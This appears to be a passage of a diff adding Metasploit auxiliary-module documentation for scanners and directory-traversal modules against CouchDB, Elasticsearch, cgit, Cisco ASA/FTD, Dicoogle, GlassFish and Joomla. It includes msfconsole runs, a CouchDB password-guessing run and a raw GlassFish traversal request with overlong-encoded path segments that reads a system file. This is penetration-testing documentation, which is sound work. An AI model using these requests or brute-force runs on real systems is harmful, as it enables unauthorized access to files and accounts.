Date: Sat, 21 Jul 2018 14:54:45 GMT
|
||||
Content-Type: text/plain; charset=utf-8
|
||||
Content-Length: 127
|
||||
Cache-Control: must-revalidate
|
||||
|
||||
{"couchdb":"Welcome","uuid":"6f08e89795bd845efc6c2bf3d57799e5","version":"1.6.1","vendor":{"version":"16.04","name":"Ubuntu"}}
|
||||
|
||||
```
|
|
@ -0,0 +1,51 @@
|
|||
## Vulnerable Application
|
||||
|
||||
Apache CouchDB is a nosql database server which communicates over HTTP. This module will enumerate the server and databases hosted on it.
|
||||
|
||||
The following was done on Ubuntu 16.04, and is largely base on [1and1.com](https://www.1and1.com/cloud-community/learn/database/couchdb/install-and-use-couchdb-on-ubuntu-1604/):
|
||||
|
||||
1. `sudo apt install software-properties-common`
|
||||
2. `sudo add-apt-repository ppa:couchdb/stable`
|
||||
3. `sudo apt update`
|
||||
4. `sudo apt install couchdb`
|
||||
5. Reconfigure couchdb to listen to all interfaces. Edit `/etc/couchdb/local.ini`. Under `[httpd]` add the following line: `bind_address = 0.0.0.0`
|
||||
6. Restart the service: `sudo service couchdb restart`
|
||||
7. Create an admin user `curl -X PUT http://127.0.0.1:5984/_config/admins/anna -d '"secret"'`
|
||||
|
||||
## Verification Steps
|
||||
|
||||
1. Install and configure couchdb
|
||||
2. Start msfconsole
|
||||
3. Do: `auxiliary/scanner/couchdb/couchdb_login`
|
||||
4. Do: `run`
|
||||
|
||||
## Scenarios
|
||||
|
||||
A run against the configuration from these docs
|
||||
|
||||
```
|
||||
msf5 > use auxiliary/scanner/couchdb/couchdb_login
|
||||
msf5 auxiliary(scanner/couchdb/couchdb_login) > set rhosts 1.1.1.1
|
||||
rhosts => 1.1.1.1
|
||||
msf5 auxiliary(scanner/couchdb/couchdb_login) > set username anna
|
||||
username => anna
|
||||
msf5 auxiliary(scanner/couchdb/couchdb_login) > set password secret
|
||||
password => secret
|
||||
msf5 auxiliary(scanner/couchdb/couchdb_login) > run
|
||||
|
||||
[*] 1.1.1.1:5984 - [001/305] - Trying username:'connect' with password:'connect'
|
||||
[*] 1.1.1.1:5984 - [002/305] - Trying username:'sitecom' with password:'sitecom'
|
||||
[*] 1.1.1.1:5984 - [003/305] - Trying username:'admin' with password:'1234'
|
||||
[*] 1.1.1.1:5984 - [004/305] - Trying username:'cisco' with password:'cisco'
|
||||
[*] 1.1.1.1:5984 - [005/305] - Trying username:'cisco' with password:'sanfran'
|
||||
[*] 1.1.1.1:5984 - [006/305] - Trying username:'private' with password:'private'
|
||||
[*] 1.1.1.1:5984 - [007/305] - Trying username:'wampp' with password:'xampp'
|
||||
[*] 1.1.1.1:5984 - [008/305] - Trying username:'newuser' with password:'wampp'
|
||||
[*] 1.1.1.1:5984 - [009/305] - Trying username:'xampp-dav-unsecure' with password:'ppmax2011'
|
||||
[*] 1.1.1.1:5984 - [010/305] - Trying username:'admin' with password:'turnkey'
|
||||
[*] 1.1.1.1:5984 - [011/305] - Trying username:'vagrant' with password:'vagrant'
|
||||
[*] 1.1.1.1:5984 - [012/305] - Trying username:'anna' with password:'secret'
|
||||
[+] 1.1.1.1:5984 - Successful login with. 'anna' : 'secret'
|
||||
[*] 1.1.1.1:5984 - [013/305] - Trying username:'admin' with password:'secret'
|
||||
...snip...
|
||||
```
|
|
@ -0,0 +1,46 @@
|
|||
## Description
|
||||
This module identifies a list of indices which an Elasticsearch NoSQL database has. This occurs over the REST API, which on community versions is an unauthenticated API. Customers who subscribe to a support plan can add authentication to this API restricting access.
|
||||
|
||||
## Vulnerable Application
|
||||
### Install Elasticsearch on Kali Linux:
|
||||
With this install, we'll install the free community edition of Elasticsearch, which does not require authentication to the API. However, this is unrealistic in a production environment which will often leverage a support contract to gain authentication, a reverse proxy to add basic authentication, and/or a host firewall to restrict access to this API.
|
||||
|
||||
The following instructions assume you are beginning with a fresh Kali installation as the root user.
|
||||
|
||||
1. `useradd -M -r elasticsearch`
|
||||
2. `su elasticsearch`
|
||||
3. `cd /tmp`
|
||||
4. `curl -L -O https://artifacts.elastic.co/downloads/elasticsearch/elasticsearch-6.3.2.tar.gz`
|
||||
5. `tar -xvf elasticsearch-6.3.2.tar.gz`
|
||||
6. `cd elasticsearch-6.3.2/bin`
|
||||
7. `./elasticsearch`
|
||||
8. Open a new terminal
|
||||
9. In the new terminal, `curl -X PUT http://127.0.0.1:9200/msf_test` to create an index for validation purposes
|
||||
|
||||
## Verification Steps
|
||||
1. `use auxiliary/scanner/elasticsearch/indices_enum`
|
||||
2. `set RHOSTS [ips]`
|
||||
3. `set RPORT [port]`
|
||||
4. `run`
|
||||
|
||||
|
||||
## Scenarios
|
||||
### Elasticsearch 6.3.2 on Kali Linux
|
||||
```
|
||||
msf > use auxiliary/scanner/elasticsearch/indices_enum
|
||||
msf auxiliary(scanner/elasticsearch/indices_enum) > set RHOSTS 10.10.10.25
|
||||
RHOSTS => 10.10.10.25
|
||||
msf auxiliary(scanner/elasticsearch/indices_enum) > run
|
||||
|
||||
[+] ElasticSearch Indices found: msf_test
|
||||
[*] Scanned 1 of 1 hosts (100% complete)
|
||||
[*] Auxiliary module execution completed
|
||||
```
|
||||
|
||||
## Confirming
|
||||
### [elasticsearch](https://www.elastic.co/guide/en/elasticsearch/reference/current/_list_all_indices.html)
|
||||
```
|
||||
# curl 'http://10.10.10.25:9200/_cat/indices?v'
|
||||
health status index uuid pri rep docs.count docs.deleted store.size pri.store.size
|
||||
yellow open msf_test W83_cAS1QlmePnczS9sLrA 5 1 0 0 1.2kb 1.2kb
|
||||
```
|
|
@ -0,0 +1,16 @@
|
|||
## Intro
|
||||
|
||||
This module scans for h.323 servers and determines the version and information about the server.
|
||||
|
||||
## Usage
|
||||
|
||||
```
|
||||
msf5 auxiliary(scanner/sip/options) > use auxiliary/scanner/h323/h323_version
|
||||
msf5 auxiliary(scanner/h323/h323_version) > set rhosts 1.1.1.1
|
||||
rhosts => 1.1.1.1
|
||||
msf5 auxiliary(scanner/h323/h323_version) > run
|
||||
|
||||
[+] 1.1.1.1:1720 - 1.1.1.1:1720 Protocol: 3 VendorID: 0x6100023c VersionID: v.5.4 ProductID: Gateway
|
||||
[*] 1.1.1.1:1720 - Scanned 1 of 1 hosts (100% complete)
|
||||
[*] Auxiliary module execution completed
|
||||
```
|
|
@ -0,0 +1,45 @@
|
|||
## Intro
|
||||
|
||||
This module scans a web server for a file name with various backup type extensions.
|
||||
The list of extensions are:
|
||||
|
||||
1. .backup
|
||||
2. .bak
|
||||
3. .copy
|
||||
4. .copia
|
||||
5. .old
|
||||
6. .orig
|
||||
7. .temp
|
||||
8. .txt
|
||||
9. ~
|
||||
|
||||
## Usage
|
||||
|
||||
In the basic config, you'll search for the extensions on `/index.asp`, which may not be very useful.
|
||||
In this scenario, we look for `/backup` instead. On the web server, we've created the files `backup.old`,
|
||||
`backup.orig`, and `backup~`.
|
||||
|
||||
```
|
||||
msf5 > use auxiliary/scanner/http/backup_file
|
||||
msf5 auxiliary(scanner/http/backup_file) > set verbose true
|
||||
verbose => true
|
||||
msf5 auxiliary(scanner/http/backup_file) > set path /backup
|
||||
path => /backup
|
||||
msf5 auxiliary(scanner/http/backup_file) > set rhosts 192.168.2.39
|
||||
rhosts => 192.168.2.39
|
||||
msf5 auxiliary(scanner/http/backup_file) > run
|
||||
|
||||
[*] NOT Found http://192.168.2.39:80/backup.backup
|
||||
[*] NOT Found http://192.168.2.39:80/backup.bak
|
||||
[*] NOT Found http://192.168.2.39:80/backup.copy
|
||||
[*] NOT Found http://192.168.2.39:80/backup.copia
|
||||
[+] Found http://192.168.2.39:80/backup.old
|
||||
[+] Found http://192.168.2.39:80/backup.orig
|
||||
[*] NOT Found http://192.168.2.39:80/backup.temp
|
||||
[*] NOT Found http://192.168.2.39:80/backup.txt
|
||||
[+] Found http://192.168.2.39:80/backup~
|
||||
[*] NOT Found http://192.168.2.39:80/.backup.swp
|
||||
[*] Scanned 1 of 1 hosts (100% complete)
|
||||
[*] Auxiliary module execution completed
|
||||
|
||||
```
|
|
@ -0,0 +1,91 @@
|
|||
## Description
|
||||
|
||||
cgit before v1.2.1 has a directory traversal vulnerabiltiy when `cgitrc` has the `enable-http-clone` value set to 1. The directory traversal can be used to download files from the remote host. This module has been tested against cgit v1.1 running on Ubuntu 18.04.
|
||||
|
||||
## Vulnerable Application
|
||||
|
||||
[cgit before v1.2.1](https://git.zx2c4.com/cgit/)
|
||||
|
||||
### Installing cgit on Ubuntu 18.04 x64
|
||||
|
||||
1. `sudo apt install cgit` # [dependencies](https://git.zx2c4.com/cgit/tree/README) may have to be downloaded first
|
||||
2. Modify `/etc/cgitrc` to have `enable-http-clone=1`. Example attached.
|
||||
3. Add `.htaccess` file with rewrite rules to `/usr/lib/cgit/`. Example attached.
|
||||
4. Add `cgit.conf` to `/etc/apache2/conf-enabled/`. Example attached.
|
||||
5. Enable `rewrite.load` and `cgi.load` in apache2.
|
||||
6. Create bare repo. `mkdir -p repo/test.git && cd repo/test.git && git init --bare`
|
||||
|
||||
Example files were only used for testing and are not secure or usable in non-testing environments. These WILL make your system insecure, but will enable exploitation
|
||||
by this module.
|
||||
|
||||
[cgit.conf](https://github.com/rapid7/metasploit-framework/files/2284678/cgit.conf.txt)
|
||||
|
||||
[cgitrc](https://github.com/rapid7/metasploit-framework/files/2284679/cgitrc.txt)
|
||||
|
||||
[.htaccess](https://github.com/rapid7/metasploit-framework/files/2284680/htaccess.txt)
|
||||
|
||||
### Vulnerability Details from Project Zero
|
||||
|
||||
There is a directory traversal vulnerability in cgit_clone_objects(), reachable when the configuration flag enable-http-clone is set to 1 (default):
|
||||
|
||||
```
|
||||
void cgit_clone_objects(void)
|
||||
{
|
||||
if (!ctx.qry.path) {
|
||||
cgit_print_error_page(400, "Bad request", "Bad request");
|
||||
return;
|
||||
}
|
||||
|
||||
if (!strcmp(ctx.qry.path, "info/packs")) {
|
||||
print_pack_info();
|
||||
return;
|
||||
}
|
||||
|
||||
send_file(git_path("objects/%s", ctx.qry.path));
|
||||
}
|
||||
```
|
||||
|
||||
send_file() is a function that simply sends the data stored at the given filesystem path out over the network.
|
||||
git_path() partially rewrites the provided path and e.g. prepends the base path of the repository, but it does not sanitize the provided path to prevent directory traversal.
|
||||
|
||||
ctx.qry.path can come from querystring_cb(), which takes unescaped data from the querystring.
|
||||
|
||||
## Options
|
||||
|
||||
**REPO**
|
||||
|
||||
Git repository on the remote server. Default is empty, `''`.
|
||||
|
||||
## Verification Steps
|
||||
|
||||
1. `./msfconsole -q`
|
||||
2. `set rhosts <rhost>`
|
||||
3. `set targeturi <uri>`
|
||||
4. `set repo <repo>`
|
||||
5. `run`
|
||||
|
||||
## Scenarios
|
||||
|
||||
### Ubuntu 18.04 x64, cgit | 1.1+git2.10.2-3build1
|
||||
|
||||
```
|
||||
msf5 > use auxiliary/scanner/http/cgit_traversal
|
||||
msf5 auxiliary(scanner/http/cgit_traversal) > set rhosts 172.22.222.123
|
||||
rhosts => 172.22.222.123
|
||||
msf5 auxiliary(scanner/http/cgit_traversal) > set targeturi /mygit/
|
||||
targeturi => /mygit/
|
||||
msf5 auxiliary(scanner/http/cgit_traversal) > set repo test
|
||||
repo => test
|
||||
msf5 auxiliary(scanner/http/cgit_traversal) > set filepath /home/msfdev/proof.txt
|
||||
filepath => /home/msfdev/proof.txt
|
||||
msf5 auxiliary(scanner/http/cgit_traversal) > set verbose true
|
||||
verbose => true
|
||||
msf5 auxiliary(scanner/http/cgit_traversal) > run
|
||||
|
||||
[+] 172.22.222.123:80 -
|
||||
you found me!
|
||||
|
||||
[+] File saved in: /home/msfdev/.msf4/loot/20180813150517_default_172.22.222.123_cgit.traversal_235024.txt
|
||||
[*] Scanned 1 of 1 hosts (100% complete)
|
||||
[*] Auxiliary module execution completed
|
||||
```
|
|
@ -0,0 +1,129 @@
|
|||
## Description
|
||||
|
||||
This module exploits a directory traversal vulnerability on Cisco products running the Adaptive Security Appliance (ASA) software < v9.6 and Firepower Threat Defense (FTD) software < v6.2.3.
|
||||
Sending a specially crafted HTTP request results in viewing the contents of directories that would otherwise require authentication to view.
|
||||
|
||||
## Vulnerable Application
|
||||
|
||||
Cisco ASA software < v9.6 and Cisco FTD software < v6.2.3 running on vulnerable appliances that can be found [here](https://tools.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-20180606-asaftd)
|
||||
|
||||
## Verification Steps
|
||||
|
||||
1. Install the application
|
||||
2. Start msfconsole
|
||||
3. Do: ```use auxiliary/scanner/http/cisco_directory_traversal```
|
||||
4. Do: ```set RHOSTS [IP]```
|
||||
5. Do: ```run```
|
||||
|
||||
## Scenarios
|
||||
|
||||
### Tested on Cisco ASA 5505 Series running ASA software v8.2
|
||||
|
||||
```
|
||||
|
||||
msf5 > use auxiliary/scanner/http/cisco_directory_traversal
|
||||
msf5 auxiliary(scanner/http/cisco_directory_traversal) > set rhosts 192.168.1.1
|
||||
rhosts => 192.168.1.1
|
||||
msf5 auxiliary(scanner/http/cisco_directory_traversal) > run
|
||||
|
||||
[+] ///
|
||||
[
|
||||
{'name':'customization','size':0,'type':'1','mdate':1532972199}
|
||||
,{'name':'bookmarks','size':0,'type':'1','mdate':1532972199}
|
||||
,{'name':'locale','size':0,'type':'1','mdate':1532972197}
|
||||
,{'name':'+CSCOT+','size':0,'type':'1','mdate':1532971872}
|
||||
,{'name':'+CSCOCA+','size':0,'type':'1','mdate':1532971872}
|
||||
,{'name':'+CSCOL+','size':0,'type':'1','mdate':1532971871}
|
||||
,{'name':'admin','size':0,'type':'1','mdate':1532971871}
|
||||
,{'name':'+CSCOU+','size':0,'type':'1','mdate':1532971871}
|
||||
,{'name':'+CSCOE+','size':0,'type':'1','mdate':1532971871}
|
||||
,{'name':'sessions','size':0,'type':'1','mdate':1532971871}
|
||||
|
||||
[+] ///sessions/
|
||||
[
|
||||
{'name':'32768','size':0,'type':'1','mdate':1533130976}
|
||||
|
||||
[*] Users logged in:
|
||||
[+] cisco
|
||||
|
||||
[+] //+CSCOE+
|
||||
[
|
||||
{'name':'logo.gif','size':0,'type':'0','mdate':1532972377}
|
||||
,{'name':'http_auth.html','size':3317,'type':'0','mdate':1532972377}
|
||||
,{'name':'user_dialog.html','size':2145,'type':'0','mdate':1532972377}
|
||||
,{'name':'localization_inc.lua','size':4495,'type':'0','mdate':1532972377}
|
||||
,{'name':'portal_inc.lua','size':30888,'type':'0','mdate':1532972377}
|
||||
,{'name':'include','size':0,'type':'1','mdate':1532971872}
|
||||
,{'name':'nostcaccess.html','size':497,'type':'0','mdate':1532972377}
|
||||
,{'name':'ask.html','size':2520,'type':'0','mdate':1532972377}
|
||||
,{'name':'no_svc.html','size':1779,'type':'0','mdate':1532972377}
|
||||
,{'name':'svc.html','size':2701,'type':'0','mdate':1532972377}
|
||||
,{'name':'session.js','size':371,'type':'0','mdate':1532972377}
|
||||
,{'name':'useralert.html','size':2526,'type':'0','mdate':1532972377}
|
||||
,{'name':'ping.html','size':4296,'type':'0','mdate':1532972377}
|
||||
,{'name':'help','size':0,'type':'1','mdate':1532971872}
|
||||
,{'name':'app_index.html','size':14531,'type':'0','mdate':1532972377}
|
||||
,{'name':'tlbr','size':1960,'type':'0','mdate':1532972377}
|
||||
,{'name':'portal_forms.js','size':265,'type':'0','mdate':1532972377}
|
||||
,{'name':'logon_forms.js','size':263,'type':'0','mdate':1532972377}
|
||||
,{'name':'win.js','size':247,'type':'0','mdate':1532972377}
|
||||
,{'name':'portal.css','size':4757,'type':'0','mdate':1532972377}
|
||||
,{'name':'portal.js','size':369,'type':'0','mdate':1532972377}
|
||||
,{'name':'sess_update.html','size':267,'type':'0','mdate':1532972377}
|
||||
,{'name':'blank.html','size':255,'type':'0','mdate':1532972377}
|
||||
,{'name':'noportal.html','size':261,'type':'0','mdate':1532972377}
|
||||
,{'name':'portal_ce.html','size':7990,'type':'0','mdate':1532972377}
|
||||
,{'name':'portal.html','size':10999,'type':'0','mdate':1532972377}
|
||||
,{'name':'home','size':0,'type':'1','mdate':1532971872}
|
||||
,{'name':'logon_custom.css','size':499,'type':'0','mdate':1532972377}
|
||||
,{'name':'portal_custom.css','size':315,'type':'0','mdate':1532972377}
|
||||
,{'name':'preview.html','size':259,'type':'0','mdate':1532972377}
|
||||
,{'name':'session_expired','size':0,'type':'0','mdate':1532972377}
|
||||
,{'name':'custom','size':0,'type':'1','mdate':1532971872}
|
||||
,{'name':'portal_elements.html','size':33659,'type':'0','mdate':1532972377}
|
||||
,{'name':'commonspawn.js','size':379,'type':'0','mdate':1532972377}
|
||||
,{'name':'common.js','size':369,'type':'0','mdate':1532972377}
|
||||
,{'name':'appstart.js','size':1777,'type':'0','mdate':1532972377}
|
||||
,{'name':'appstatus','size':1904,'type':'0','mdate':1532972377}
|
||||
,{'name':'relaymonjar.html','size':0,'type':'0','mdate':1532972377}
|
||||
,{'name':'relaymonocx.html','size':0,'type':'0','mdate':1532972377}
|
||||
,{'name':'relayjar.html','size':0,'type':'0','mdate':1532972377}
|
||||
,{'name':'relayocx.html','size':0,'type':'0','mdate':1532972377}
|
||||
,{'name':'portal_img','size':0,'type':'1','mdate':1532971872}
|
||||
,{'name':'color_picker.js','size':381,'type':'0','mdate':1532972377}
|
||||
,{'name':'color_picker.html','size':269,'type':'0','mdate':1532972377}
|
||||
,{'name':'cedhelp.html','size':2819,'type':'0','mdate':1532972377}
|
||||
,{'name':'cedmain.html','size':5084,'type':'0','mdate':1532972377}
|
||||
,{'name':'cedlogon.html','size':4147,'type':'0','mdate':1532972377}
|
||||
,{'name':'cedportal.html','size':2762,'type':'0','mdate':1532972377}
|
||||
,{'name':'cedsave.html','size':2167,'type':'0','mdate':1532972377}
|
||||
,{'name':'cedf.html','size':51675,'type':'0','mdate':1532972377}
|
||||
,{'name':'ced.html','size':51673,'type':'0','mdate':1532972377}
|
||||
,{'name':'lced.html','size':2477,'type':'0','mdate':1532972377}
|
||||
,{'name':'files','size':0,'type':'1','mdate':1532971871}
|
||||
,{'name':'041235123432C2','size':1101,'type':'0','mdate':1532972377}
|
||||
,{'name':'041235123432U2','size':464,'type':'0','mdate':1532972377}
|
||||
,{'name':'pluginlib.js','size':375,'type':'0','mdate':1532972377}
|
||||
,{'name':'shshim','size':1317,'type':'0','mdate':1532972377}
|
||||
,{'name':'do_url','size':0,'type':'0','mdate':1532972377}
|
||||
,{'name':'clear_cache','size':0,'type':'0','mdate':1532972377}
|
||||
,{'name':'connection_failed_form','size':0,'type':'0','mdate':1532972377}
|
||||
,{'name':'apcf','size':0,'type':'0','mdate':1532972377}
|
||||
,{'name':'ucte_forbidden_data','size':0,'type':'0','mdate':1532972377}
|
||||
,{'name':'ucte_forbidden_url','size':0,'type':'0','mdate':1532972377}
|
||||
,{'name':'cookie','size':0,'type':'0','mdate':1532972377}
|
||||
,{'name':'session_password.html','size':648,'type':'0','mdate':1532972377}
|
||||
,{'name':'tunnel_linux.jnlp','size':1663,'type':'0','mdate':1532972377}
|
||||
,{'name':'tunnel_mac.jnlp','size':1659,'type':'0','mdate':1532972377}
|
||||
,{'name':'sdesktop','size':0,'type':'1','mdate':1532971871}
|
||||
,{'name':'gp-gip.html','size':3097,'type':'0','mdate':1532972377}
|
||||
,{'name':'auth.html','size':467,'type':'0','mdate':1532972377}
|
||||
,{'name':'wrong_url.html','size':354,'type':'0','mdate':1532972377}
|
||||
,{'name':'logon_redirect.html','size':1395,'type':'0','mdate':1532972377}
|
||||
,{'name':'logout.html','size':31552,'type':'0','mdate':1532972377}
|
||||
,{'name':'logon.html','size':31517,'type':'0','mdate':1532972377}
|
||||
,{'name':'test_chargen','size':0,'type':'0','mdate':1532972377}
|
||||
|
||||
[*] Auxiliary module execution completed
|
||||
|
||||
```
|
|
@ -0,0 +1,38 @@
|
|||
## Description
|
||||
|
||||
This module exploits an unauthenticated directory traversal vulnerability
|
||||
in the Dicoogle PACS Web Server v2.5.0 and possibly earlier, allowing an
|
||||
attacker to read arbitrary files with the web server privileges.
|
||||
While the application is java based, the directory traversal was only
|
||||
successfully tested against Windows targets.
|
||||
|
||||
|
||||
## Verification Steps
|
||||
|
||||
1. Start `msfconsole`
|
||||
2. `use auxiliary/scanner/http/dicoogle_traversal`
|
||||
3. `set RHOSTS [IP]`
|
||||
4. `run`
|
||||
|
||||
## Scenarios
|
||||
|
||||
### Tested on Windows 2012 with Dicoogle 2.5.0 on Java 8 update 151
|
||||
|
||||
```
|
||||
msf5 > use auxiliary/scanner/http/dicoogle_traversal
|
||||
msf5 auxiliary(scanner/http/dicoogle_traversal) > set rhosts 1.1.1.1
|
||||
rhosts => 1.1.1.1
|
||||
msf5 auxiliary(scanner/http/dicoogle_traversal) > set verbose true
|
||||
verbose => true
|
||||
msf5 auxiliary(scanner/http/dicoogle_traversal) > run
|
||||
|
||||
[+] 192.168.2.164:8080 - ; for 16-bit app support
|
||||
[fonts]
|
||||
[extensions]
|
||||
[mci extensions]
|
||||
[files]
|
||||
[Mail]
|
||||
MAPI=1
|
||||
|
||||
[+] File saved in: /root/.msf4/loot/20180803091123_default_192.168.2.164_dicoogle.travers_347491.txt
|
||||
```
|
|
@ -0,0 +1,31 @@
|
|||
## Intro
|
||||
|
||||
This module pulls and parses the URLs stored by Archive.org for the purpose of replaying
|
||||
during a web assessment. Finding unlinked and old pages. This module utilizes
|
||||
[Archive.org's Wayback Machine](https://archive.org/web/)'s [API](https://archive.org/help/wayback_api.php).
|
||||
|
||||
## Usage
|
||||
|
||||
```
|
||||
msf5 > use auxiliary/scanner/http/enum_wayback
|
||||
msf5 auxiliary(scanner/http/enum_wayback) > set domain rapid7.com
|
||||
domain => rapid7.com
|
||||
msf5 auxiliary(scanner/http/enum_wayback) > run
|
||||
|
||||
[*] Pulling urls from Archive.org
|
||||
[*] Located 43656 addresses for rapid7.com
|
||||
http://mailto:info@rapid7.com/
|
||||
http://mailto:sales@rapid7.com/
|
||||
http://mailto:sales@rapid7.com/robots.txt
|
||||
http://rapid7.com
|
||||
http://rapid7.com/
|
||||
http://rapid7.com/GlobalStyleSheet.css
|
||||
http://rapid7.com/WebResources/images/Background2.gif
|
||||
http://rapid7.com/WebResources/images/GlobalNavigation/Downloads_u.gif
|
||||
http://rapid7.com/WebResources/images/GlobalNavigation/Home_d.gif
|
||||
http://rapid7.com/WebResources/images/GlobalNavigation/NeXpose_d.gif
|
||||
http://rapid7.com/WebResources/images/GlobalNavigation/NeXpose_u.gif
|
||||
http://rapid7.com/WebResources/images/GlobalNavigation/Support_d.gif
|
||||
http://rapid7.com/WebResources/images/GlobalNavigation/Support_u.gif
|
||||
...snip...
|
||||
```
|
|
@ -0,0 +1,117 @@
|
|||
## Vulnerable Application
|
||||
|
||||
This module exploits an unauthenticated directory traversal vulnerability which exists in administration console of,
|
||||
Oracle GlassFish Server 4.1, which is listening by default on port 4848/TCP.
|
||||
|
||||
Related links :
|
||||
|
||||
* https://www.exploit-db.com/exploits/39441/
|
||||
* https://www.trustwave.com/Resources/Security-Advisories/Advisories/TWSL2015-016/?fid=6904
|
||||
* http://download.oracle.com/glassfish/4.1/release/glassfish-4.1.zip - Download Oracle Glass Fish 4.1
|
||||
|
||||
## Verification
|
||||
|
||||
1. Start msfconsole
|
||||
2. Do: ```use auxiliary/scanner/http/glassfish_traversal```
|
||||
3. Do: ```set RHOSTS [IP]```
|
||||
4. Do: ```run```
|
||||
|
||||
## Scenarios
|
||||
|
||||
```
|
||||
msf > use auxiliary/scanner/http/glassfish_traversal
|
||||
msf auxiliary(scanner/http/glassfish_traversal) > set RHOSTS 192.168.1.105
|
||||
RHOSTS => 192.168.1.105
|
||||
msf auxiliary(scanner/http/glassfish_traversal) > set verbose true
|
||||
verbose => true
|
||||
msf auxiliary(scanner/http/glassfish_traversal) > run
|
||||
|
||||
[+] 192.168.1.105:4848 - ; for 16-bit app support
|
||||
[fonts]
|
||||
[extensions]
|
||||
[mci extensions]
|
||||
[files]
|
||||
[Mail]
|
||||
MAPI=1
|
||||
[MCI Extensions.BAK]
|
||||
3g2=MPEGVideo
|
||||
3gp=MPEGVideo
|
||||
3gp2=MPEGVideo
|
||||
3gpp=MPEGVideo
|
||||
aac=MPEGVideo
|
||||
adt=MPEGVideo
|
||||
adts=MPEGVideo
|
||||
m2t=MPEGVideo
|
||||
m2ts=MPEGVideo
|
||||
m2v=MPEGVideo
|
||||
m4a=MPEGVideo
|
||||
m4v=MPEGVideo
|
||||
mod=MPEGVideo
|
||||
mov=MPEGVideo
|
||||
mp4=MPEGVideo
|
||||
mp4v=MPEGVideo
|
||||
mts=MPEGVideo
|
||||
ts=MPEGVideo
|
||||
tts=MPEGVideo
|
||||
|
||||
[+] File saved in: /home/input0/.msf4/loot/20180804132151_default_192.168.1.105_oracle.traversal_244542.txt
|
||||
[*] Scanned 1 of 1 hosts (100% complete)
|
||||
[*] Auxiliary module execution completed
|
||||
msf auxiliary(scanner/http/glassfish_traversal) >
|
||||
```
|
||||
|
||||
## HTTP Request
|
||||
|
||||
```
|
||||
GET /theme/META-INF/prototype%c0%af..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af..%c0%afwindows/win.ini HTTP/1.1
|
||||
Host: 192.168.1.105:4848
|
||||
User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:61.0) Gecko/20100101 Firefox/61.0
|
||||
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
|
||||
Accept-Language: en-GB,en;q=0.5
|
||||
Accept-Encoding: gzip, deflate
|
||||
Cookie: JSESSIONID=3c54ae091ab200dc3ce8ecfff7c1
|
||||
Connection: close
|
||||
Upgrade-Insecure-Requests: 1
|
||||
If-Modified-Since: Sat, 04 Aug 2018 05:53:42 GMT
|
||||
```
|
||||
|
||||
## HTTP Response
|
||||
|
||||
```
|
||||
HTTP/1.1 200 OK
|
||||
Content-Length: 403
|
||||
Content-Type: text/plain
|
||||
Expires: Mon, 30 Jul 2018 11:16:55 GMT
|
||||
Last-Modified: Tue, 14 Jul 2009 05:09:22 GMT
|
||||
Server: Microsoft-HTTPAPI/2.0
|
||||
Date: Sun, 29 Jul 2018 06:46:55 GMT
|
||||
Connection: close
|
||||
|
||||
; for 16-bit app support
|
||||
[fonts]
|
||||
[extensions]
|
||||
[mci extensions]
|
||||
[files]
|
||||
[Mail]
|
||||
MAPI=1
|
||||
[MCI Extensions.BAK]
|
||||
3g2=MPEGVideo
|
||||
3gp=MPEGVideo
|
||||
3gp2=MPEGVideo
|
||||
3gpp=MPEGVideo
|
||||
aac=MPEGVideo
|
||||
adt=MPEGVideo
|
||||
adts=MPEGVideo
|
||||
m2t=MPEGVideo
|
||||
m2ts=MPEGVideo
|
||||
m2v=MPEGVideo
|
||||
m4a=MPEGVideo
|
||||
m4v=MPEGVideo
|
||||
mod=MPEGVideo
|
||||
mov=MPEGVideo
|
||||
mp4=MPEGVideo
|
||||
mp4v=MPEGVideo
|
||||
mts=MPEGVideo
|
||||
ts=MPEGVideo
|
||||
tts=MPEGVideo
|
||||
```
|
|
@ -0,0 +1,26 @@
|
|||
## Intro
|
||||
|
||||
This module scans for Joomla Content Management System running on a web server for the following pages:
|
||||
|
||||
1. `robots.txt`
|
||||
2. `administrator/index.php`
|
||||
3. `admin/`
|
||||
4. `index.php/using-joomla/extensions/components/users-component/registration-form`
|
||||
5. `index.php/component/users/?view=registration`
|
||||
6. `htaccess.txt`
|
||||
|
||||
|
||||
## Usage
|
||||
|
||||
```
|
||||
msf5 > use auxiliary/scanner/http/joomla_pages
|
||||
msf5 auxiliary(scanner/http/joomla_pages) > set rhosts 192.168.2.39
|
||||
rhosts => 192.168.2.39
|
||||
msf5 auxiliary(scanner/http/joomla_pages) > run
|
||||
|
||||
[+] Page Found: /robots.txt
|
||||
[+] Page Found: /administrator/index.php
|
||||
[+] Page Found: /htaccess.txt
|
||||
[*] Scanned 1 of 1 hosts (100% complete)
|
||||
[*] Auxiliary module execution completed
|
||||
```
|
|
@ -0,0 +1,143 @@
|
|||
## Intro
|
||||
|
||||
This module scans for Joomla Content Management System running on a web server for components/plugins.
|
||||
The list can be found in [data/wordlists/joomla.txt](https://github.com/rapid7/metasploit-framework/blob/master/data/wordlists/joomla.txt).
|
||||
|
||||
## Usage
|
||||
|
||||
```
|
||||
msf5 > use auxiliary/scanner/http/joomla_plugins
|
||||
msf5 auxiliary(scanner/http/joomla_plugins) > set rhosts 192.168.2.39
|
||||
rhosts => 192.168.2.39
|
||||
msf5 auxiliary(scanner/http/joomla_plugins) > run
|
||||
|
||||
[+] Plugin: /?1.5.10-x
|
||||
[+] Plugin: /?1.5.11-x-http_ref
|
||||
[+] Plugin: /?1.5.11-x-php-s3lf
|
||||
[+] Plugin: /?1.5.3-path-disclose
|
||||
[+] Plugin: /?1.5.3-spam
|
||||
[+] Plugin: /?1.5.8-x
|
||||
[+] Plugin: /?1.5.9-x
|
||||
[+] Plugin: /?j1012-fixate-session
|
||||
[+] Plugin: /administrator/
|
||||
[+] Plugin: /administrator/components/
|
||||
[+] Plugin: /administrator/components/com_admin/
|
||||
[+] Plugin: /administrator/index.php?option=com_djartgallery&task=editItem&cid[]=1'+and+1=1+--+
|
||||
[+] Plugin: /administrator/index.php?option=com_searchlog&act=log
|
||||
[+] Plugin: /components/com_banners/
|
||||
[+] Plugin: /components/com_content/
|
||||
[+] Page: /index.php?option=com_content
|
||||
[+] Plugin: /components/com_mailto/
|
||||
[+] Plugin: /components/com_search/
|
||||
[+] Page: /index.php?option=com_search
|
||||
[+] Plugin: /components/com_users/
|
||||
[+] Page: /index.php?option=com_users
|
||||
